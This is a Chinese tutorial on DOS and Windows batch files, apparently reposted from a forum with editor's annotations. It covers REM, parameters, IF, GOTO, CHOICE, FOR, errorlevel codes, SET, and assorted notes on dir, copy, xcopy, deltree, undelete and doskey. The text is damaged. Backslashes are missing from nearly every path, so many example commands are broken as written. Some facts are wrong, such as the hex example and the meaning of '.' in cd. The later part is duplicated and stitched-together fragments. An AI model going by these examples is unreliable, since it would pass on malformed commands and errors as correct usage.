语法

 

    PAUSE

----------------------------------------------------------------------------

 

                                    REM

 

    在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS

中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。

 

语法

 

    REM [string]

 

参数

 

string

    指定要屏蔽的命令或要包含的注解。

========================================================================


例1:用edit编辑a.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 


  批处理文件的内容为:         命令注释: 


    @echo off           不显示后续命令行及当前命令行

    dir c:*.* >a.txt       将c盘文件列表写入a.txt 

    call c:ucdosucdos.bat    调用ucdos 

    echo 你好            显示"你好" 

    pause              暂停,等待按键继续 

    rem 准备运行wps         注释:准备运行wps 

    cd ucdos            进入ucdos目录 

    wps               运行wps   


批处理文件的参数


批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。 


%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。 


例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1


如果执行C:>f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:


例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1 

type %2 


那么运行C:>t a.txt b.txt 

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。


==== willsort 编注 =====================================================

    参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下:


初始状态, cmd 为命令名, 可以用 %0 引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

 ^    ^    ^    ^    ^    ^    ^    ^    ^    ^    

 |    |    |    |    |    |    |    |    |    |

 %0   %1   %2   %3   %4   %5   %6   %7   %8   %9


经过1次shift后, cmd 将无法被引用 

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 

     ^    ^    ^    ^    ^    ^    ^    ^    ^    ^    

     |    |    |    |    |    |    |    |    |    |

     %0   %1   %2   %3   %4   %5   %6   %7   %8   %9


经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

          ^    ^    ^    ^    ^    ^    ^    ^    ^

          |    |    |    |    |    |    |    |    |

         %0   %1   %2   %3   %4   %5   %6   %7   %8


    遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针.

========================================================================



特殊命令



if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 




一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 


1、if [not] "参数" == "字符串" 待执行的命令 


参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。


例:if "%1"=="a" format a:


==== willsort 编注 =====================================================

    if 的命令行帮助中关于此点的描述为:

      IF [NOT] string1==string2 command

    在此有以下几点需要注意:

      1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符

      2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量

      3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行

========================================================================


2、if [not] exist [路径]文件名 待执行的命令 

如果有指定的文件,则条件成立,运行命令,否则运行下一句。


如: if exist c:config.sys type c:config.sys 

表示如果存在c:config.sys文件,则显示它的内容。


****** willsort 编注 ********

    也可以使用以下的用法:

      if exist <device> command

    device 是指DOS系统中已加载的设备, 在win98下通常有: 

      AUX, PRN, CON, NUL

      COM1, COM2, COM3, COM4

      LPT1, LPT2, LPT3, LPT4

      XMSXXXX0, EMMXXXX0

      A: B: C: ..., 

      CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

    具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

      1. 该设备确实存在(由软件虚拟的设备除外)

      2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

      3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)

    可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

    另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. 

========================================================================


3、if errorlevel <数字> 待执行的命令 


很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。


如if errorlevel 2 goto x2


==== willsort 编注 =====================================================

    返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

 

    if errorlevel 1 set el=1

    if errorlevel 2 set el=2

    if errorlevel 3 set el=3

    if errorlevel 4 set el=4

    if errorlevel 5 set el=5

    ...


    当然, 也可以使用以下循环来替代, 原理是一致的: 

    for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e 


    更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章


    出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.


    另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了

========================================================================



二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。 


如:


goto end 


:end 

echo this is the end 


标号用“:字符串”来定义,标号所在行不被执行。 


==== willsort 编注 =====================================================

    label 常被译为 "标签" , 但是这并不具有广泛的约定性. 


    goto <label> 与 :<label> 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照:


      Batch         C / Basic

      goto&:       goto&:

      goto&:&if     if{}&else{} / if&elseif&endif

      goto&:&if... switch&case / select case

      goto&:&if&set&envar... function() / function(),sub()

========================================================================


三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。


注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。


choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):


CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]


描述:

    该工具允许用户从选择列表选择一个项目并返回所选项目的索引。


参数列表:

   /C    choices       指定要创建的选项列表。默认列表是 "YN"。


   /N                  在提示符中隐藏选项列表。提示前面的消息得到显示,

                       选项依旧处于启用状态。


   /CS                 允许选择分大小写的选项。在默认情况下,这个工具

                       是不分大小写的。


   /T    timeout       做出默认选择之前,暂停的秒数。可接受的值是从 0

                       到 9999。如果指定了 0,就不会有暂停,默认选项

                       会得到选择。


   /D    choice        在 nnnn 秒之后指定默认选项。字符必须在用 /C 选

                       项指定的一组选择中; 同时,必须用 /T 指定 nnnn。


   /M    text          指定提示之前要显示的消息。如果没有指定,工具只

                       显示提示。


   /?                  显示帮助消息。


   注意:

   ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选

   择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,

   该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的

   ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0

   的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降

   序排列。


示例:

   CHOICE /? 

   CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

   CHOICE /T 10 /C ync /CS /D y

   CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

   CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"


==== willsort 编注 =====================================================

   我列出win98下choice的用法帮助, 已资区分


Waits for the user to choose one of a set of choices.

等待用户选择一组待选字符中的一个


CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]


/C[:]choices Specifies allowable keys. Default is YN

             指定允许的按键(待选字符), 默认为YN

/N           Do not display choices and ? at end of prompt string.

             不显示提示字符串中的问号和待选字符

/S           Treat choice keys as case sensitive.

             处理待选字符时大小写敏感

/T[:]c,nn    Default choice to c after nn seconds

             在 nn 秒后默认选择 c

text         Prompt string to display

             要显示的提示字符串

ERRORLEVEL is set to offset of key user presses in choices.

ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值

========================================================================

   

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

   

   

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列): 

@echo off 

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem 

if errotlevel 1 goto defrag 


==== willsort 编注 =====================================================

    errotlevel -> errorlevel

========================================================================


:defrag 

c:dosdefrag 

goto end 


:mem 

mem 

goto end 


:end 

echo good bye 


此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。 




四、for 循环命令,只要条件符合,它将多次执行同一命令。 


语法:

对一组文件中的每一个文件执行某个特定命令。


FOR %%variable IN (set) DO command [command-parameters]


  %%variable  指定一个单一字母可替换的参数。

  (set)      指定一个或一组文件。可以使用通配符。

  command    指定对每个文件执行的命令。

  command-parameters

             为特定命令指定参数或命令行开关。


例如一个批处理文件中有一行: 

for %%c in (*.bat *.txt) do type %%c 


则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。


==== willsort 编注 =====================================================

    需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. 

    当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串,  也有很多开关被用于扩展了文件替换功能.

========================================================================


--------------------------------------------------------

标题:手把手教你写批处理-批处理示例

作者:佚名

编者:Climbing

出处:中国DOS联盟之联合DOS论坛

题注:willsort

日期:2004年11月10日

--------------------------------------------------------


 [转帖并完善]手把手教你写批处理


原文作者写东西很没有专业精神,写的文章简直是错误百出,而且啰里八索,如果不加以修改和完善,简直是误人子弟,因此,我在原文的基础上进行了修改,修正了大部分错误(当然,不可避免可能会有新的错误,希望高手发现后能够及时指出来)。


URL: http://www.txwm.com/News/technic/200408/2004081609515074304.html


摘自:天下网吧联盟 作者:佚名

修改及完善:Climbing(xclimbing@msn.com)

最后修改日期:2004年8月19日


批处理示例


1. IF-EXIST


1) 首先用记事本在C:建立一个test1.bat批处理文件,文件内容如下: 

@echo off 

IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT 

IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist 


然后运行它:

C:>TEST1.BAT 


如果C:存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。


2) 接着再建立一个test2.bat文件,内容如下: 

@ECHO OFF 

IF EXIST \%1 TYPE \%1 

IF NOT EXIST \%1 ECHO \%1 does not exist 


执行: 

C:>TEST2 AUTOEXEC.BAT 

该命令运行结果同上。


说明: 

(1) IF EXIST 是用来测试文件是否存在的,格式为 

IF EXIST [路径+文件名] 命令 

(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。 


==== willsort 编注 =====================================================

    DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. 

========================================================================


3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下: 

@echo off

IF "%1" == "A" ECHO XIAO 

IF "%2" == "B" ECHO TIAN 

IF "%3" == "C" ECHO XIN 


如果运行:

C:>TEST3 A B C 

屏幕上会显示:

XIAO

TIAN

XIN


如果运行:

C:>TEST3 A B 

屏幕上会显示

XIAO

TIAN 


在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。 


2、IF-ERRORLEVEL


建立TEST4.BAT,内容如下:

@ECHO OFF 

XCOPY C:AUTOEXEC.BAT D:

IF ERRORLEVEL 1 ECHO 文件拷贝失败 

IF ERRORLEVEL 0 ECHO 成功拷贝文件 


然后执行文件:

C:>TEST4


如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。 


IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。

因此下面的批处理文件是错误的:


@ECHO OFF 

XCOPY C:AUTOEXEC.BAT D: 

IF ERRORLEVEL 0 ECHO 成功拷贝文件 

IF ERRORLEVEL 1 ECHO 未找到拷贝文件 

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 


无论拷贝是否成功,后面的: 


未找到拷贝文件 

用户通过ctrl-c中止拷贝操作 

预置错误阻止文件拷贝操作 

拷贝过程中写盘错误


都将显示出来。 


以下就是几个常用命令的返回值及其代表的意义: 


backup 

0 备份成功 

1 未找到备份文件 

2 文件共享冲突阻止备份完成 

3 用户用ctrl-c中止备份 

4 由于致命的错误使备份操作中止 


diskcomp 

0 盘比较相同 

1 盘比较不同 

2 用户通过ctrl-c中止比较操作 

3 由于致命的错误使比较操作中止 

4 预置错误中止比较 


diskcopy 

0 盘拷贝操作成功 

1 非致命盘读/写错 

2 用户通过ctrl-c结束拷贝操作 

3 因致命的处理错误使盘拷贝中止 

4 预置错误阻止拷贝操作 


format 

0 格式化成功 

3 用户通过ctrl-c中止格式化处理 

4 因致命的处理错误使格式化中止 

5 在提示“proceed with format(y/n)?”下用户键入n结束 


xcopy 

0 成功拷贝文件 

1 未找到拷贝文件 

2 用户通过ctrl-c中止拷贝操作 

4 预置错误阻止文件拷贝操作 

5 拷贝过程中写盘错误 


==== willsort 编注 =====================================================

chkdsk

0    未找到错误

255  找到一个或多个错误


choice

0    用户按下ctrl+c/break

1    用户按下第一个键

255  检测到命令行中的错误条件

其它 用户按下的有效字符在列表中的位置


defrag

0    碎片压缩成功

1    出现内部错误

2    磁盘上没有空簇。要运行DEFRAG,至少要有一个空簇

3    用户用Ctrl+C退出了DEFRAG

4    出现一般性错误

5    DEFRAG在读簇时遇到错误

6    DEFRAG在写簇时遇到错误

7    分配空间有错

8    内存错

9    没有足够空间来压缩磁盘碎片


deltree

0    成功地删除一个目录


diskcomp

0    两盘相同

1    发现不同

2    按CTRL+C 终止了比较

3    出现严重错误

4    出现初始化错误


find

0    查找成功且至少找到了一个匹配的字符串

1    查找成功但没找到匹配的字符串

2    查找中出现了错误


keyb

0    键盘定义文件装入成功

1    使用了非法的键盘代码,字符集或语法

2    键盘定义文件坏或未找到

4    键盘、监视器通讯时出错

5    要求的字符集未准备好


move

0    成功地移动了指定的文件

1    发生了错误


msav /N

86   检查到了病毒


replace

0    REPLACE成功地替换或加入了文件

1    MS-DOS版本和REPLACE不兼容

2    REPLACE找不到源文件

3    REPLACE找不到源路径或目标路径

5    不能存取要替换的文件

8    内存不够无法执行REPLACE

11    命令行句法错误


restore

0    RESTORE成功地恢复了文件

1    RESTORE找不到要恢复的文件

3    用户按CTRL+C终止恢复过程

4    RESTORE因错误而终止


scandisk

0    ScanDisk在它检查的驱动器上未检测到任何错误

1    由于命令行的语法不对,不能运行ScanDisk

2    由于内存用尽或发生内部错误,ScanDisk意外终止

3    用户让ScanDisk中途退出

4    进行盘面扫描时,用户决定提前退出

254  ScanDisk找到磁盘故障并已全部校正

255  ScanDisk找到磁盘故障,但未能全部校正


setver

0    SETVER成功地完成了任务

1    用户指定了一个无效的命令开关

2    用户指定了一个非法的文件名

3    没有足够的系统内存来运行命令

4    用户指定了一个非法的版本号格式

5    SETVER在版本表中未找到指定的项

6    SETVER未找到SETVER.EXE文件

7    用户指定了一个非法的驱动器

8    用户指定了太多的命令行参数

9    SETVER检测到丢失了命令行参数

10   在读SETVER.EXE文件时,SETVER检测到发生错误

11   SETVER.EXE文件损坏

12   指定的SETVER.EXE文件不支持版本表

13   版本表中没有足够的空间存放新的项

14   在写SETVER.EXE文件时SETVER检测到发生错误

========================================================================


3、IF STRING1 == STRING2


建立TEST5.BAT,文件内容如下: 

@echo off 

IF "%1" == "A" FORMAT A: 


执行: 

C:>TEST5 A 

屏幕上就出现是否将A:盘格式化的内容。 


注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。

如:if [%1]==[A] 或者 if %1*==A*


5、GOTO


建立TEST6.BAT,文件内容如下: 

@ECHO OFF 

IF EXIST C:AUTOEXEC.BAT GOTO _COPY 

GOTO _DONE

:_COPY 

COPY C:AUTOEXEC.BAT D: 

:_DONE 


注意: 

(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。 

(2) 标号的命名规则与文件名的命名规则相同。

(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。


==== willsort 编注 =====================================================

    1)标号也称作标签(label)

    2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多

    3)当无法区别两个标签时, 将跳转至位置最靠前的标签

========================================================================


6、FOR


建立C:TEST7.BAT,文件内容如下: 

@ECHO OFF 

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C 


运行: 

C:>TEST7


执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。 


set [[/a [expression]] [/p [variable=]] string]


参数

/a 

将 string 设置成可求值的数字表达式。 

/p 

将 variable 的值设置成输入行。 

variable 

指定需要设置或修改的变量。 

string 

指定要与指定变量关联的字符串。 

/? 

在命令提示符显示帮助。 

注释

使用“恢复控制台”中的 set 

set 命令具有不同的参数,可从“恢复控制台”中获得。


使用特殊字符 

字符 < > | & ^ 是特殊命令外壳字符,在字符串中使用时必须位于 escape 字符 (^) 之前或用引号引起来(即,"StringContaining&Symbol")。如果要使用引号将含有特殊字符的字符串引起来,则该引号将被设置成环境变量值的一部分。


使用环境变量 

使用环境变量可控制某些批处理文件和程序的操作,并可控制 Windows XP 和 MS-DOS 子系统显示和工作的方式。Autoexec.nt 文件中经常使用 set 命令设置环境变量。


显示当前的环境设置 

当只键入 set 命令时,将显示当前的环境设置。这些设置通常包含用来帮助查找磁盘上程序的 COMSPEC 和 PATH 环境变量。Windows XP 使用的两个其它环境变量是 PROMPT 和 DIRCMD。


使用参数 

当指定变量和字符串的值时,指定的变量值将被添加到该环境,而且该字符串与该变量关联。如果环境中已经存在该变量,新的字符串值将替代旧的字符串值。


如果只为 set 命令指定一个变量和一个等号(没有字符串),则与该变量关联的字符串值将被清除(就象变量根本不存在一样)。


使用 /a 

下表按优先性从高到低的顺序列出了支持 /a 的运算符。


运算符 执行的操作 

< > 分组 

* / % + - 算法 

<< >> 逻辑移位 

& 按位“和”运算 

^ 按位“异或”运算 

| 按位“或”运算 

= *= /= %= += -= &= ^= |= <<= >>= 分配 

, 表达式分隔符 


如果使用逻辑 (&& ||) 或模 (%) 运算符,请使用引号将表达式字符串引起来。表达式中的非数字字符串将被视为环境变量名,其值将转化成数字然后才进行处理。如果指定当前环境中没有定义的环境变量名,将会分配零值,允许您对环境变量进行算术运算,而不需要使用 % 找回值。


如果从命令脚本外的命令行中运行 set /a,则会显示该表达式的最终值。


数值是指十进制的数字,在前缀加 0× 则表示十六进制数字,加 0 则表示八进制数字。因此,0×2 与 18 相同,也与 022 相同,八进制表示法容易引起混淆。例如,08 和 09 不是有效数字,因为 8 和 9 不是有效的八进制数字。


使用 /p 

要求有提示字符串。


支持延迟的环境变量扩展 

已经添加延迟的环境变量扩展支持。默认情况下禁用该支持,不过可使用 cmd /v 对其启用或禁用。


使用命令扩展 

当启用命令扩展(默认)并单独运行 set 时,将显示所有当前的环境变量。如果使用一个值来运行 set,则会显示与该值匹配的变量。


在批处理文件中使用 set 

创建批处理文件时,可以使用 set 命令创建变量,然后象使用编号变量 %0 到 %9 一样使用这些变量。也可以使用 %0 到 %9 变量作为 set 命令的输入。


从批处理文件调用 set 变量。 

从批处理文件调用变量值时,必须将该值用百分号(%)括起来。例如,如果批处理程序创建了一个环境变量 BAUD,则可以在命令行中键入 %baud%,将与 BAUD 关联的字符串作为可替换参数使用。


范例

若要设置名为 TEST^1 的环境变量,请键入:


set testVar=test^^1


若要设置名为 TEST&1 的环境变量,请键入:


set testVar=test^&1


Set 将变量值设置成等号 (=) 后的内容。如果键入:


set testVar="test^1"


将得到如下结果: 

testVar="test^1"


要设置名为 INCLUDE 的环境变量,使字符串 C:Inc(驱动器 C 上的 Inc 目录)与该变量关联,请键入: 


set include=c:inc 


然后可以通过用在名称百分号 (%) 将 INCLUDE 括起,在批处理文件中使用字符串 C:Inc。例如,可能在批处理文件中包含以下命令,以显示与 INCLUDE 环境变量关联的目录内容。


dir %include% 


处理此命令时,字符串 C:Inc 将替代 %include%。


还可以在批处理程序中使用 set,将新目录添加到 PATH 环境变量中。例如:


@echo off 

rem ADDPATH.BAT adds a new directory 

rem to the path environment variable. 

set path=%1;%path% 

set 


当启用命令表达式(默认)并使用一个值来运行 set 时,则会显示与该值匹配的变量。例如,如果在命令提示符键入 set p,将得到如下结果:


Path=C:WINNTsystem32;C:WINNT;C:WINNTSystem32Wbem

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 8 Stepping 1, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0801

ProgramFiles=C:Program Files

PROMPT=$P$G 


dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/l][/c[h] 


(1)dir /a:attrib 缺省包含所有文件(系统文件.隐含文件) 


attrib[:][h/-h] 只显示隐含文件或非隐含文件. 


[r/-r] 只显示只读文件或非只读文件 


[s/-s]只显示系统文件或非系统文件 


[a/-a] 只显示要归档文件或非归档文件 


(2)/o[:]sorted: 缺省完全按字母顺序,子目录显示在文件之前 


/o[n/-n]: 按字母顺序或按文件名顺序/反向显示 


[e/-e]: 按扩展名字母顺序/反向显示 


[d/-d]: 按时间顺序/反向显示 


[s/-s]: 按大小从大到小或/反向显示 


[g/-g]: 按子目录先于文件或文件先于子目录 


(3)/s 参数: 对当前目录及其子目录中所有文件进行列表 


列名 ir /s/a/o:n c:>PRN 


将 c 盘上的所有子目录和文件按隶属关系并根据子目录和文件字母顺序打印输出 


(4) /B 参数:将只显示文件名与扩展名 


(5) /L 参数:将全部用小写字母对文件或子目录进行列表 


训练: 


dir /a 列当前目录所有文件(含隐含及系统文件) 


dir /ah 列隐含文件(包含子目录(隐含的) dir /a-h 


dir /as 列系统文件 dir /a-s 


dir /ad 列子目录 dir /a-d 


dir /o 按字母顺序 


dir /B 只显示文件名与扩展名 


应用:

将某磁盘目录下所有文件目录及子文件内容全部列出到一文本文件。

dir /s >> h:dx.txt


cd...返回上二级目录

"."代表当前目录 

"."代表父目录 

cd ....返回到上级目录的父目录(祖目录) 


cd A: 将A盘的当前目录改为根目录 


cd A:xx 将A盘的当前目录改为子目录xx下 


cd ..98 先返回父目录,再进入父目录下的98子目录 


cd ..返回到父目录 


cd98 进入根目录下的98子目录 


copy /y 不加提示,对所有文件加以覆盖 


/-y 加以提示,对所有文件 (yes或no提问 ) 


/v 拷贝以后加以校验 


/B 按二进制进行显示 


copy w1.wps con/b 可以将wps文件在屏幕上显示,而不必进入wps状态 


copy ..98 将父目录下的98子目录下的所有文件全拷到当前子目录 


copy .97 当当前目录下的97子目录下文件全部拷到当前目录 


copy . c: 将当前目录下的所有文件拷到c盘根目录 


. 意味着 *.* 文件 


copy nul a.abc 将a.abc 文件清空(文件长度改为0) 


copy 文件名+con 向文本文件中追加命令或内容 


copy con 文件名 创建文本文件(F6存盘退出) 


copy con prn 检测打印机的开关 


xcopy [source] [date] [/p] [/s] [/e] [/v] [/y] 


xcopy [date] xcopy a:b: /d:08/18/98/s/v 拷贝98.08.18年后的文件 


xcopy [/p] 提示创建子目录 


xcopy [/s] 连带子目录一起拷贝. 注意:若目标盘上不存在此子目录,而在目标 


盘的结束符又不以""为结束,则将提示: 


does destination specify a file name or directory name on the target 


[f=file,d=directory]? 


在目标盘上创建文件[按下]还是创建子目录[按下d] ?应选择d键 


xcopy[/v] 带较验 


*1) xcopy 不拷贝系统和隐含文件,应先予以修改属性再拷贝 


xcopy [/y] 覆盖时是否有提示, /y 不带提示 


若省略目标盘或子目录名,则拷贝到当前目录下 


加/p 可以在删除前是否提示 


如del后加子目录名,则将子目录下所有文件(隐含.系统.只读文件除外)全删除, 


加/p则可以确认. 


不加提示地将所有满足条件的文件恢复(能够恢复的),并将首字母置成"#",若已 


存在,则按"# % & 0 1 2-9 a-z"顺序加上. 


如:undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头,作为文件 


名, /list 仅列出可恢复的文件,而不恢复 


undelete /load 将undelete装入内存 


/unload 将undelete卸出内存 


/s[drive]对指定驱动器进行监测管理 


undelete/sc 


将 undelete驻留内存,?并创建一个隐含的sentry 子目录对c盘删除的文件进行 


管理 undelete/ds 恢复 


相应恢复命令可以用undelete即可完整恢复出文件名(非常完整) 


最常用undelete *.* 


deltree /y [driveath] 


deltree 删除子目录及文件,尽管有些文件是系统文件或隐含文件 


它可以带有通配符,带有通配符时,它将删除符合条件的文件及子目录 


如:?undelete *.dbf/au 将扩展名为"dbf"的文件全恢复,并以"#"开头作为文件 


名. 


/list 仅列出可恢复的文件,而不作恢复操作. 


undelete/load 将undelete 装入内存. 


/unload将undelete 卸出内存. 


/s[drive] 对指定的驱动器进行监视管理. 


undelete/sc 将undelete 驻留内存,并创建一个隐含的sentry子目录对C盘删除 


的文件进行管理.相应恢复命令可以用undelete/ds 即可完整恢复出文件名(很完善). 


最常用的是undelete *.* 


deltree 删除子目录及文件,尽管有些文件是系统或隐含的. 


它可以带有通配符,这时它将删除符合条件的文件或子目录. 


如:存在L1文件,L2子目录,L3文件,L4子目录 


deltree L*.* 将删除以上所有的文件和子目录,但在删除前加以确认,若不删除, 


可以输入"N". 


/y 参数是在删除时不加以确认就进行操作的. 


它删除的文件可以用undelete恢复,?但不能恢复子目录及其下的文件,可以用特 


殊工具.如NORTON 8.0 等. 


若提前使用了undelete/s,?则可以在sentry子目录下找到完整的文件,但名已经 


改变了. 


记录以前敲过的dos命令,可以用F7来显示,用"↑↓"来选择,用F9来输入 


选择的命令号. 


doskey/restall 重新装入一次,以前的命令行撤消. 


doskey/history 显示内存中所有的命令,可以">"显示到其它文件中,缩写"/H". 


doskey dir=cls 则击入dir等同于cls一样. 


doskey/macros 可显示所有的宏定义,可使用">"重定义到文件中,可缩写"/M". 


doskey dir= 可撤消对dir 的宏定义. 


doskey p=dir$tdir*.exe/p$tdir c: $tdir c: $* 


$t为命令的区分符,而$*为命令的结束符 


doskey/insert(overstrike)?在重新输入命令时,对旧命令的修改是插入还是覆 


盖状态(默认). 


提供对扩展内存的管理,使应用程序象使用常规内存一样能够使用它. 


常见的用法是 在config.sys 中 


device=c:doshimem.sys 


device=c:dosemm386.exe ram 


d=64 将DMA 内存数量设置为64K 


noems 提供对上位内存的访问,但不提供对扩展内存的访问. 


应注意的是在windows中最好不要用它,因为windows本身有对扩展内存进行管理 


的程序.应采用windows中的管理器. 


命令 fc/b dt.dat dt2.dat>b (作二进制代码比较) 


比较两个文件,一般用作存取进度,修改游戏存储文件用. 


实际代码位置应加上0100 如:0000 05E4:00 67 


实际用debug -e 修改时应加上0100 即 0000 06E4:00 67 


后面加上重定向文件">P" 可以将比较结果输出到p文件中.


/q /u /s /n:sectors /f:size /c 


/q参数:快速格式化,仅扫描文件分配表和根目录区,仅对格式化过的磁盘有效. 


使用时应确保格式化过后没有增加新的坏道. 


